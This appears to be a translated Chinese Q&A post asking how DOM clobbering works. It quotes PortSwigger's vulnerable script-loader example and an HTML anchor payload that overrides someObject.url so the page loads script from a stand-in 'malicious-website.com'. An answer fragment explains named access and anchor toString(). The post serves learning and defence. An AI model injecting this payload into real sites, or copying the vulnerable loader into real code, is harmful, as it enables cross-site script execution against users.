我对DOM Clobbering这个主题有一些问题:
Portswigger的解释如下:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
为利用这个有漏洞的代码,您可以注入以下HTML以使用锚元素击败someObject引用:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
由于两个锚元素使用相同的ID,DOM将它们分组存储在一个DOM集合中。然后,DOM覆盖向量使用此DOM集合重写了someObject引用。最后一个锚元素上使用name属性以覆盖someObject对象的url属性,该属性指向一个外部脚本。
我的理解是:
具有ID为someObject
的锚元素存储在类似数组的结构中 - DOM集合中。
通过
var someObject = window.someObject || {};
锚元素可以通过id进行引用-某些浏览器直接存储id在window对象中(HTML元素的ID始终可从window对象获得吗?)。
但是:
- 为什么name属性会覆盖URL属性?
- DOM集合与所有这些有什么关系?
window.someObject || {}
中的对象初始化程序(https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer)是否对攻击起任何作用?
![Console part 1](https://istack.dev59.com/9Wkp7.webp)
![Console part 2](https://istack.dev59.com/sE8M5.webp)
document.all.something
来获取具有name="something"
的元素。这是在getElementById()
函数出现之前的时代。DOM 集合可以使用元素名称作为键来访问。此外,HTMLAnchorElement.toString()
返回已解析的href
值,该值在此向量中被使用。 - Niet the Dark Absol